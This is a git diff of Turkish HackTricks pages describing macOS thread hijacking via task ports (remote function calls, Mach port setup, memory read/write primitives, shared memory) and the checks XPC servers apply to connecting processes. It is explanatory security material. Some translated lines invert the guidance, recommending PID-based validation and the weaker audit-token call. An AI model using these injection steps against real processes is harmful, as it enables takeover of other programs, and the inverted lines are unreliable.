+{% endhint %} -## Kod +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. İş Parçacığı Kaçırma +## 1. Thread Hijacking -İlk olarak, uzak görevden bir iş parçacığı listesi elde etmek için **`task_threads()`** işlevi çağrılır. Bir iş parçacığı kaçırma için bir iş parçacığı seçilir. Bu yaklaşım, `thread_create_running()`'i engelleyen yeni önlem nedeniyle yeni bir uzak iş parçacığı oluşturmanın yasak olduğu geleneksel kod enjeksiyon yöntemlerinden farklılık gösterir. +Başlangıçta, **`task_threads()`** fonksiyonu, uzaktaki görevden bir iş parçacığı listesi almak için görev portunda çağrılır. Bir iş parçacığı ele geçirilmek üzere seçilir. Bu yaklaşım, yeni önlemlerin `thread_create_running()`'i engellemesi nedeniyle yeni bir uzaktan iş parçacığı oluşturmanın yasak olduğu geleneksel kod enjeksiyon yöntemlerinden sapmaktadır. -İş parçacığı kontrol etmek için **`thread_suspend()`** çağrılır ve iş parçacığının yürütmesi durdurulur. +İş parçacığını kontrol etmek için, **`thread_suspend()`** çağrılır ve yürütmesi durdurulur. -Uzak iş parçacığı üzerinde izin verilen tek işlemler, iş parçacığını **durdurmak** ve **başlatmak**, kayıt değerlerini **alıp değiştirmek** içindir. Uzak işlev çağrıları, kayıtları `x0` ile `x7` arasındaki **argümanlar** olarak ayarlayarak, **`pc`**'yi hedeflenen işlevi hedeflemek üzere yapılandırarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmemesini sağlamak için dönüşün tespit edilmesi gerekmektedir. +Uzaktaki iş parçacığında yalnızca **durdurma** ve **başlatma**, **kayıt** değerlerini **alma** ve **değiştirme** işlemlerine izin verilir. Uzaktan fonksiyon çağrıları, `x0` ile `x7` kayıtlarını **argümanlar** ile ayarlayarak, **`pc`**'yi hedeflenen fonksiyona ayarlayarak ve iş parçacığını etkinleştirerek başlatılır. İş parçacığının dönüşten sonra çökmediğinden emin olmak, dönüşün tespit edilmesini gerektirir. -Bir strateji, iş parçacığı için **bir istisna işleyici kaydetmek** için `thread_set_exception_ports()` kullanarak uzak iş parçacığı için bir istisna işleyici kaydetmektir. Bu, işlev çağrısından önce `lr` kaydını geçersiz bir adres olarak ayarlar. Bu, işlev yürütmesinden sonra bir istisna tetikler ve bir mesajı istisna bağlantı noktasına gönderir, iş parçacığının durumu incelenerek dönüş değeri kurtarılır. Alternatif olarak, Ian Beer'ın triple\_fetch saldırısından benimsenen bir yöntemde, `lr` sonsuz bir döngüye ayarlanır. Ardından iş parçacığının kayıtları sürekli olarak izlenir ve **`pc`'nin o talimatı işaret ettiği** kontrol edilir. +Bir strateji, uzaktaki iş parçacığı için `thread_set_exception_ports()` kullanarak bir istisna işleyicisi **kaydetmektir**, fonksiyon çağrısından önce `lr` kaydını geçersiz bir adrese ayarlamaktır. Bu, fonksiyon yürütüldükten sonra bir istisna tetikler, istisna portuna bir mesaj gönderir ve dönüş değerini kurtarmak için iş parçacığının durumunu incelemeyi sağlar. Alternatif olarak, Ian Beer’in triple_fetch istismarından alınan bir yöntemle, `lr` sonsuz döngüye ayarlanır. İş parçacığının kayıtları, **`pc` o talimata işaret edene kadar** sürekli izlenir. -## 2. İletişim için Mach bağlantı noktaları +## 2. Mach portları ile iletişim -Sonraki aşama, uzak iş parçacığıyla iletişimi kolaylaştırmak için Mach bağlantı noktaları oluşturmaktır. Bu bağlantı noktaları, görevler arasında keyfi gönderme ve alma haklarının aktarılmasında önemli rol oynar. +Sonraki aşama, uzaktaki iş parçacığı ile iletişimi kolaylaştırmak için Mach portları kurmaktır. Bu portlar, görevler arasında keyfi gönderme ve alma haklarının aktarımında önemli bir rol oynar. -İki yönlü iletişim için, biri yerel ve diğeri uzak görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her bağlantı noktası için bir gönderme hakkı karşıt göreve aktarılır, mesaj alışverişi yapılmasını sağlar. +İki yönlü iletişim için, bir yerel ve diğeri uzaktaki görevde olmak üzere iki Mach alma hakkı oluşturulur. Ardından, her port için bir gönderme hakkı karşıt göreve aktarılır ve mesaj alışverişi sağlanır. -Yerel bağlantı noktasına odaklanılarak, alma hakkı yerel görev tarafından tutulur. Bağlantı noktası `mach_port_allocate()` ile oluşturulur. Zorluk, bu bağlantı noktasına bir gönderme hakkını uzak göreve aktarmaktadır. +Yerel port üzerinde odaklanıldığında, alma hakkı yerel görev tarafından tutulur. Port, `mach_port_allocate()` ile oluşturulur. Bu port için bir gönderme hakkını uzaktaki göreve aktarmak zorluk teşkil eder. -Bir strateji, `thread_set_special_port()`'u kullanarak yerel bağlantı noktasına bir gönderme hakkını uzak iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmektir. Ardından, uzak iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir ve gönderme hakkını alması sağlanır. +Bir strateji, `thread_set_special_port()` kullanarak yerel port için bir gönderme hakkını uzaktaki iş parçacığının `THREAD_KERNEL_PORT`'una yerleştirmeyi içerir. Ardından, uzaktaki iş parçacığına `mach_thread_self()` çağrısı yapması talimatı verilir, böylece gönderme hakkı alınır. -Uzak bağlantı noktası için işlem temelde tersine çevrilir. Uzak iş parçacığına, `mach_port_allocate()`'in dönüş mekanizması nedeniyle uygun olmadığı için `mach_reply_port()` kullanarak bir Mach bağlantı noktası oluşturması talimatı verilir. Bağlantı noktası oluşturulduktan sonra, uzak iş parçacığında `mach_port_insert_right()` çağrılır ve bir gönderme hakkı oluşturulur. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdeğe saklanır. Yerel görevde, uzak iş parçacığı üzerinde `thread_get_special_port()` kullanılarak, uzak görevde yeni oluşturulan Mach bağlantı noktasına bir gönderme hakkı elde edilir. +Uzaktaki port için süreç esasen tersine çevrilir. Uzaktaki iş parçacığı, `mach_reply_port()` aracılığıyla bir Mach portu oluşturması için yönlendirilir (çünkü `mach_port_allocate()` dönüş mekanizması nedeniyle uygun değildir). Port oluşturulduktan sonra, uzaktaki iş parçacığında bir gönderme hakkı oluşturmak için `mach_port_insert_right()` çağrılır. Bu hak daha sonra `thread_set_special_port()` kullanılarak çekirdekte saklanır. Yerel görevde, uzaktaki iş parçacığı üzerinde `thread_get_special_port()` kullanılarak uzaktaki görevde yeni tahsis edilen Mach portuna bir gönderme hakkı alınır. -Bu adımların tamamlanması, Mach bağlantı noktalarının kurulmasını sağlar ve iki yönlü iletişim için temel oluşturur. +Bu adımların tamamlanması, Mach portlarının kurulmasını sağlar ve iki yönlü iletişim için zemin hazırlar. -## 3. Temel Bellek Okuma/Yazma İşlemleri +## 3. Temel Bellek Okuma/Yazma Primitifleri -Bu bölümde, temel bellek okuma ve yazma işlemlerini sağlamak için yürütme ilkelinin kullanılmasına odaklanılır. Bu ilk adımlar, uzak işlem üzerinde daha fazla kontrol sağlamak için önemlidir, ancak bu aşamadaki ilkel işlemler pek çok amaç için hizmet etmeyecektir. Yakında, bunlar daha gelişmiş sürümlere yükseltilecektir. +Bu bölümde, temel bellek okuma ve yazma primitiflerini oluşturmak için yürütme primitifinin kullanılmasına odaklanılmaktadır. Bu ilk adımlar, uzaktaki süreç üzerinde daha fazla kontrol elde etmek için kritik öneme sahiptir, ancak bu aşamadaki primitifler pek fazla işlev görmeyecektir. Yakında, daha gelişmiş versiyonlara yükseltileceklerdir. -### Yürütme İlkelini Kullanarak Bellek Okuma ve Yazma +### Yürütme Primitifi Kullanarak Bellek Okuma ve Yazma -Bellek okuma işlemi için, aşağıdaki yapıya benzeyen işlevler kullanılır: +Amaç, belirli fonksiyonlar kullanarak bellek okuma ve yazma gerçekleştirmektir. Bellek okumak için, aşağıdaki yapıya benzeyen fonksiyonlar kullanılır: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -Ve belleğe yazmak için, bu yapıya benzer işlevler kullanılır: +Ve belleğe yazmak için bu yapıya benzer fonksiyonlar kullanılır: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Bu işlevler, verilen derleme talimatlarına karşılık gelir: +Bu fonksiyonlar verilen montaj talimatlarına karşılık gelir: ``` _read_func: ldr x0, [x0] @@ -71,110 +72,110 @@ _write_func: str x1, [x0] ret ``` -### Uygun Fonksiyonları Belirleme +### Uygun Fonksiyonların Belirlenmesi -Ortak kütüphanelerin taranması, bu işlemler için uygun adayları ortaya çıkardı: +Yaygın kütüphanelerin taranması, bu işlemler için uygun adayları ortaya çıkardı: -1. **Bellek Okuma:** -[Objective-C çalışma zamanı kütüphanesinden](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) `property_getName()` fonksiyonu, bellek okuma için uygun bir fonksiyon olarak belirlenmiştir. Aşağıda fonksiyonun taslağı bulunmaktadır: +1. **Belleği Okuma:** +`property_getName()` fonksiyonu, [Objective-C çalışma zamanı kütüphanesi](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) için bellek okuma işlemi için uygun bir fonksiyon olarak belirlenmiştir. Fonksiyon aşağıda özetlenmiştir: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Bu işlev, `read_func` gibi davranarak `objc_property_t`'nin ilk alanını döndürerek etkili bir şekilde çalışır. +Bu fonksiyon, `objc_property_t`'nin ilk alanını döndürerek `read_func` gibi etkili bir şekilde çalışır. -2. **Belleğe Yazma:** -Belleğe yazma için önceden oluşturulmuş bir işlev bulmak daha zorlu olabilir. Bununla birlikte, libxpc'deki `_xpc_int64_set_value()` işlevi aşağıdaki derlemesiyle uygun bir adaydır: +2. **Bellek Yazma:** +Bellek yazmak için önceden oluşturulmuş bir fonksiyon bulmak daha zordur. Ancak, libxpc'den `_xpc_int64_set_value()` fonksiyonu, aşağıdaki ayrıştırma ile uygun bir adaydır: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Belirli bir adreste 64 bitlik bir yazma işlemi gerçekleştirmek için, uzaktan çağrı aşağıdaki gibi yapılandırılır: +Bir belirli adrese 64-bit yazma işlemi gerçekleştirmek için, uzak çağrı şu şekilde yapılandırılır: ```c _xpc_int64_set_value(address - 0x18, value) ``` -Bu temel yapılar oluşturulduktan sonra, uzak işlemi kontrol etmek için önemli bir adım olan paylaşılan belleğin oluşturulması için sahne hazırlanır. +Bu ilkelere dayanarak, paylaşılan bellek oluşturmak için sahne hazırlanmış olup, uzaktan süreci kontrol etmede önemli bir ilerleme kaydedilmiştir. ## 4. Paylaşılan Bellek Kurulumu -Amaç, yerel ve uzak görevler arasında paylaşılan bellek oluşturmaktır. Bu, veri transferini basitleştirir ve çoklu argümanlara sahip işlevlerin çağrılmasını kolaylaştırır. Yaklaşım, `libxpc` ve onun `OS_xpc_shmem` nesne türünü kullanmayı içerir. Bu nesne türü, Mach bellek girişlerine dayanır. +Amaç, yerel ve uzaktan görevler arasında paylaşılan bellek oluşturarak veri transferini basitleştirmek ve birden fazla argümanla fonksiyon çağrısını kolaylaştırmaktır. Yaklaşım, Mach bellek girişleri üzerine inşa edilmiş `libxpc` ve onun `OS_xpc_shmem` nesne türünü kullanmayı içerir. -### İşlem Genel Bakışı: +### Süreç Genel Görünümü: 1. **Bellek Tahsisi**: -- Paylaşım için belleği `mach_vm_allocate()` kullanarak tahsis edin. -- Ayrılan bellek bölgesi için bir `OS_xpc_shmem` nesnesi oluşturmak için `xpc_shmem_create()` kullanın. Bu işlev, Mach bellek girişinin oluşturulmasını yönetecek ve Mach gönderme hakkını `OS_xpc_shmem` nesnesinin `0x18` ofsetinde depolayacaktır. +- `mach_vm_allocate()` kullanarak paylaşım için bellek tahsis edin. +- Tahsis edilen bellek bölgesi için bir `OS_xpc_shmem` nesnesi oluşturmak üzere `xpc_shmem_create()` kullanın. Bu fonksiyon, Mach bellek girişinin oluşturulmasını yönetecek ve `OS_xpc_shmem` nesnesinin `0x18` ofsetinde Mach gönderim hakkını saklayacaktır. -2. **Uzak İşlemde Paylaşılan Bellek Oluşturma**: -- Uzak işlemde `OS_xpc_shmem` nesnesi için bellek tahsis edin ve bunu uzaktan `malloc()` çağrısıyla yapın. -- Yerel `OS_xpc_shmem` nesnesinin içeriğini uzak işleme kopyalayın. Ancak, bu ilk kopyada `0x18` ofsetinde yanlış Mach bellek girişi adları olacaktır. +2. **Uzaktan Süreçte Paylaşılan Bellek Oluşturma**: +- Uzaktan `malloc()` çağrısıyla uzaktan süreçte `OS_xpc_shmem` nesnesi için bellek tahsis edin. +- Yerel `OS_xpc_shmem` nesnesinin içeriğini uzaktan sürece kopyalayın. Ancak, bu ilk kopya `0x18` ofsetinde yanlış Mach bellek giriş isimlerine sahip olacaktır. 3. **Mach Bellek Girişini Düzeltme**: -- Uzak göreve Mach bellek girişi için bir gönderme hakkı eklemek için `thread_set_special_port()` yöntemini kullanın. -- Uzak bellek girişinin adıyla `0x18` ofsetindeki Mach bellek girişi alanını düzeltmek için üzerine yazın. +- Uzaktan görevde Mach bellek girişi için bir gönderim hakkı eklemek üzere `thread_set_special_port()` yöntemini kullanın. +- Uzaktan bellek girişinin ismi ile `0x18` ofsetindeki Mach bellek girişi alanını üzerine yazarak düzeltin. 4. **Paylaşılan Bellek Kurulumunu Tamamlama**: -- Uzaktaki `OS_xpc_shmem` nesnesini doğrulayın. -- Uzaktan `xpc_shmem_remote()` çağrısıyla paylaşılan bellek eşlemesini oluşturun. +- Uzaktan `OS_xpc_shmem` nesnesini doğrulayın. +- `xpc_shmem_remote()` ile uzaktan çağrı yaparak paylaşılan bellek haritasını oluşturun. -Bu adımları takip ederek, yerel ve uzak görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve basit veri transferleri ve çoklu argüman gerektiren işlevlerin yürütülmesi mümkün olacaktır. +Bu adımları izleyerek, yerel ve uzaktan görevler arasında paylaşılan bellek verimli bir şekilde kurulacak ve veri transferleri ile birden fazla argüman gerektiren fonksiyonların yürütülmesi kolaylaşacaktır. ## Ek Kod Parçacıkları -Bellek tahsisi ve paylaşılan bellek nesnesi oluşturmak için: +Bellek tahsisi ve paylaşılan bellek nesnesi oluşturma için: ```c mach_vm_allocate(); xpc_shmem_create(); ``` -Uzak işlemde paylaşılan bellek nesnesi oluşturmak ve düzeltmek için: +Uzak süreçte paylaşılan bellek nesnesini oluşturmak ve düzeltmek için: ```c malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` -Mach bağlantı noktalarının ve bellek giriş adlarının ayrıntılarını doğru bir şekilde ele alarak paylaşılan belleğin düzgün çalışmasını sağlamak önemlidir. +Hatırlayın ki, paylaşılan bellek ayarının düzgün çalışmasını sağlamak için Mach portları ve bellek giriş adlarının detaylarını doğru bir şekilde ele almak önemlidir. +## 5. Tam Kontrol Sağlama -## 5. Tam Kontrol Elde Etme - -Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yeteneklerini elde ettikten sonra, hedef süreç üzerinde tam kontrol elde etmiş oluruz. Bu kontrolü sağlayan temel işlevler şunlardır: +Paylaşılan belleği başarıyla kurduktan ve keyfi yürütme yetenekleri kazandıktan sonra, esasen hedef süreç üzerinde tam kontrol elde etmiş oluyoruz. Bu kontrolü sağlayan ana işlevler şunlardır: 1. **Keyfi Bellek İşlemleri**: -- Paylaşılan bölgeden veri kopyalamak için `memcpy()` işlevini çağırarak keyfi bellek okumaları gerçekleştirin. -- Paylaşılan bölgeye veri aktarmak için `memcpy()` kullanarak keyfi bellek yazmaları gerçekleştirin. +- Paylaşılan bölgeden veri kopyalamak için `memcpy()` çağrısını kullanarak keyfi bellek okumaları gerçekleştirin. +- Paylaşılan bölgeye veri aktarmak için `memcpy()` kullanarak keyfi bellek yazımları gerçekleştirin. -2. **Birden Fazla Argümanı Olan Fonksiyon Çağrılarını Yönetme**: -- 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağırma kuralına uygun olarak yığına yerleştirin. +2. **Birden Fazla Argümanla Fonksiyon Çağrılarını Ele Alma**: +- 8'den fazla argüman gerektiren fonksiyonlar için, ek argümanları çağrı konvansiyonuna uygun olarak yığında düzenleyin. -3. **Mach Bağlantı Noktası Aktarımı**: -- Daha önceden kurulan bağlantı noktaları aracılığıyla Mach mesajları ile Mach bağlantı noktalarını görevler arasında aktarın. +3. **Mach Port Transferi**: +- Daha önce kurulmuş portlar aracılığıyla görevler arasında Mach portlarını Mach mesajları ile aktarın. -4. **Dosya Tanımlayıcı Aktarımı**: -- Ian Beer tarafından `triple_fetch`te vurgulanan bir teknik olan dosya tanımlayıcılarını işlemler arasında aktarın. +4. **Dosya Tanımlayıcı Transferi**: +- Ian Beer'in `triple_fetch` adlı tekniğinde vurgulanan dosya portlarını kullanarak süreçler arasında dosya tanımlayıcılarını aktarın. -Bu kapsamlı kontrol, hedef süreçle etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlayan [threadexec](https://github.com/bazad/threadexec) kütüphanesinde yer almaktadır. +Bu kapsamlı kontrol, [threadexec](https://github.com/bazad/threadexec) kütüphanesi içinde kapsüllenmiştir ve kurban süreci ile etkileşim için ayrıntılı bir uygulama ve kullanıcı dostu bir API sağlar. -## Önemli Düşünceler: +## Önemli Hususlar: -- Sistem kararlılığını ve veri bütünlüğünü korumak için bellek okuma/yazma işlemleri için `memcpy()` işlevini doğru bir şekilde kullanın. -- Mach bağlantı noktalarını veya dosya tanımlayıcılarını aktarırken, sızıntıları veya istenmeyen erişimleri önlemek için uygun protokollere uyun ve kaynakları sorumlu bir şekilde yönetin. +- Sistem kararlılığını ve veri bütünlüğünü korumak için bellek okuma/yazma işlemleri için `memcpy()`'nin doğru kullanımını sağlayın. +- Mach portları veya dosya tanımlayıcılarını aktarırken, uygun protokolleri izleyin ve kaynakları sorumlu bir şekilde yönetin, sızıntıları veya istenmeyen erişimleri önleyin. -Bu yönergeleri takip ederek ve `threadexec` kütüphanesini kullanarak, hedef süreç üzerinde tam kontrol sağlayarak süreçleri ayrıntılı bir şekilde yönetebilir ve etkileşimde bulunabilirsiniz. +Bu yönergelere uyarak ve `threadexec` kütüphanesini kullanarak, süreçleri ayrıntılı bir düzeyde etkili bir şekilde yönetebilir ve etkileşimde bulunarak hedef süreç üzerinde tam kontrol elde edebilirsiniz. ## Referanslar * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert) ile öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 4cba632f7..597be683e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,38 +1,39 @@ # macOS XPC Bağlantı Süreci Kontrolü +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına **PR göndererek** paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} ## XPC Bağlantı Süreci Kontrolü -Bir XPC hizmetine bağlantı kurulduğunda, sunucu bağlantının izin verilip verilmediğini kontrol eder. Genellikle şu kontrolleri yapar: +Bir XPC hizmetine bağlantı kurulduğunda, sunucu bağlantının izinli olup olmadığını kontrol eder. Genellikle gerçekleştireceği kontroller şunlardır: -1. Bağlanan **işlem Apple tarafından imzalanmış** bir sertifika ile mi imzalanmış (yalnızca Apple tarafından verilen)? -* Bu **doğrulanmazsa**, saldırgan herhangi bir diğer kontrolle eşleşecek bir **sahte sertifika** oluşturabilir. -2. Bağlanan işlem **kuruluşun sertifikası** ile mi imzalanmış (takım kimliği doğrulaması)? -* Bu **doğrulanmazsa**, Apple'dan herhangi bir geliştirici sertifikası, hizmete bağlanmak için kullanılabilir. -3. Bağlanan işlemde **uygun bir paket kimliği** bulunuyor mu? -* Bu **doğrulanmazsa**, aynı kuruluş tarafından imzalanmış herhangi bir araç, XPC hizmetiyle etkileşimde bulunmak için kullanılabilir. -4. (4 veya 5) Bağlanan işlemin **uygun bir yazılım sürüm numarası** var mı? -* Bu **doğrulanmazsa**, diğer kontroller yerinde olsa bile, eski, güvenlik açıklarına sahip istemciler, işlem enjeksiyonuna karşı savunmasız bir şekilde XPC hizmetine bağlanmak için kullanılabilir. -5. (4 veya 5) Bağlanan işlemin tehlikeli yetkilendirmelere sahip olmayan sertleştirilmiş çalışma zamanı olup olmadığı kontrol edilir (örneğin, keyfi kitaplıkları yüklemeye veya DYLD ortam değişkenlerini kullanmaya izin verenler). -1. Bu **doğrulanmazsa**, istemci **kod enjeksiyonuna karşı savunmasız** olabilir. -6. Bağlanan işlemin, hizmete bağlanmasına izin veren bir **yetkilendirme**ye sahip olup olmadığı kontrol edilir. Bu, Apple ikili dosyaları için geçerlidir. -7. **Doğrulama**, bağlanan **istemcinin denetim belirteci**ne dayanmalıdır, **işlem kimliği (PID)** yerine. Çünkü ilkini kullanmak, **PID yeniden kullanım saldırılarına** karşı korur. -* Geliştiriciler nadiren denetim belirteci API çağını kullanır çünkü bu **özel** bir çağrıdır, bu yüzden Apple herhangi bir zamanda **değiştirebilir**. Ayrıca, özel API kullanımı Mac App Store uygulamalarında izin verilmez. -* **`processIdentifier`** yöntemi kullanılıyorsa, savunmasız olabilir -* En son [belirli durumlarda savunmasız olabilen](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) **`xpc_connection_get_audit_token`** yerine **`xpc_dictionary_get_audit_token`** kullanılmalıdır. +1. Bağlanan **sürecin Apple imzalı** bir sertifika ile imzalanıp imzalanmadığını kontrol edin (sadece Apple tarafından verilir). +* Eğer bu **doğrulanmazsa**, bir saldırgan **herhangi bir diğer kontrolle eşleşen sahte bir sertifika** oluşturabilir. +2. Bağlanan sürecin **kuruluşun sertifikasıyla** imzalanıp imzalanmadığını kontrol edin (takım ID doğrulaması). +* Eğer bu **doğrulanmazsa**, Apple'dan alınan **herhangi bir geliştirici sertifikası** imzalamak için kullanılabilir ve hizmete bağlanabilir. +3. Bağlanan sürecin **uygun bir paket kimliğine** sahip olup olmadığını kontrol edin. +* Eğer bu **doğrulanmazsa**, **aynı kuruluş tarafından imzalanmış** herhangi bir araç XPC hizmeti ile etkileşimde bulunmak için kullanılabilir. +4. (4 veya 5) Bağlanan sürecin **uygun bir yazılım sürüm numarasına** sahip olup olmadığını kontrol edin. +* Eğer bu **doğrulanmazsa**, eski, güvensiz istemciler, süreç enjeksiyonuna karşı savunmasız olarak XPC hizmetine bağlanmak için kullanılabilir. +5. (4 veya 5) Bağlanan sürecin tehlikeli yetkilere sahip olmadan **sertleştirilmiş çalışma zamanı** olup olmadığını kontrol edin (örneğin, rastgele kütüphaneleri yüklemeye veya DYLD ortam değişkenlerini kullanmaya izin verenler gibi). +1. Eğer bu **doğrulanmazsa**, istemci **kod enjeksiyonuna karşı savunmasız** olabilir. +6. Bağlanan sürecin hizmete bağlanmasına izin veren bir **yetkiye** sahip olup olmadığını kontrol edin. Bu, Apple ikili dosyaları için geçerlidir. +7. **Doğrulama**, bağlanan **istemcinin denetim belirtecine** **dayanmalıdır** ve bunun yerine süreç ID'sine (**PID**) dayanmalıdır, çünkü bu, **PID yeniden kullanım saldırılarını** önler. +* Geliştiriciler **denetim belirteci** API çağrısını nadiren kullanır çünkü bu **özel** bir çağrıdır, bu nedenle Apple istediği zaman **değiştirebilir**. Ayrıca, özel API kullanımı Mac App Store uygulamalarında yasaklanmıştır. +* **`processIdentifier`** yöntemi kullanılıyorsa, savunmasız olabilir. +* **`xpc_dictionary_get_audit_token`** yerine **`xpc_connection_get_audit_token`** kullanılmalıdır, çünkü sonuncusu belirli durumlarda [savunmasız olabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). ### İletişim Saldırıları @@ -48,13 +49,13 @@ PID yeniden kullanım saldırısı hakkında daha fazla bilgi için kontrol edin [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - Düşürme Saldırılarına Karşı Önlem +### Trustcache - Aşağı Dönüş Saldırıları Önleme -Trustcache, Apple Silicon makinelerinde tanıtılan bir savunma yöntemidir ve yalnızca değiştirilmemiş izin verilen ikili dosyaların çalıştırılmasına izin veren bir CDHSAH veritabanını depolar. Bu, düşürme sürümlerinin yürütülmesini engeller. +Trustcache, yalnızca izin verilen değiştirilmemiş ikili dosyaların çalıştırılmasını sağlayan Apple Silicon makinelerinde tanıtılan savunma yöntemidir. Bu, aşağı sürüm versiyonlarının çalıştırılmasını önler. ### Kod Örnekleri -Sunucu, bu **doğrulamayı** **`shouldAcceptNewConnection`** adlı bir işlevde uygular. +Sunucu bu **doğrulamayı** **`shouldAcceptNewConnection`** adlı bir işlevde uygulayacaktır. {% code overflow="wrap" %} ```objectivec @@ -65,9 +66,9 @@ return YES; ``` {% endcode %} -NSXPCConnection nesnesinin **özel** bir **`auditToken`** özelliği (kullanılması gereken ancak değişebilecek olan) ve **genel** bir **`processIdentifier`** özelliği (kullanılmaması gereken) bulunmaktadır. +NSXPCConnection nesnesinin **özel** bir özelliği **`auditToken`** (kullanılması gereken ama değişebilecek olan) ve **genel** bir özelliği **`processIdentifier`** (kullanılmaması gereken) vardır. -Bağlantı kurulan işlem şu şekilde doğrulanabilir: +Bağlanan süreç, şu şekilde doğrulanabilir: {% code overflow="wrap" %} ```objectivec @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -Eğer bir geliştirici istemci sürümünü kontrol etmek istemiyorsa, en azından istemcinin işlem enjeksiyonuna karşı savunmasız olmadığını kontrol edebilir: +Eğer bir geliştirici istemcinin sürümünü kontrol etmek istemiyorsa, en azından istemcinin işlem enjeksiyonuna karşı savunmasız olmadığını kontrol edebilir: {% code overflow="wrap" %} ```objectivec @@ -110,16 +111,17 @@ return Yes; // Accept connection ``` {% endcode %} +{% hint style="success" %} +AWS Hacking'i öğrenin 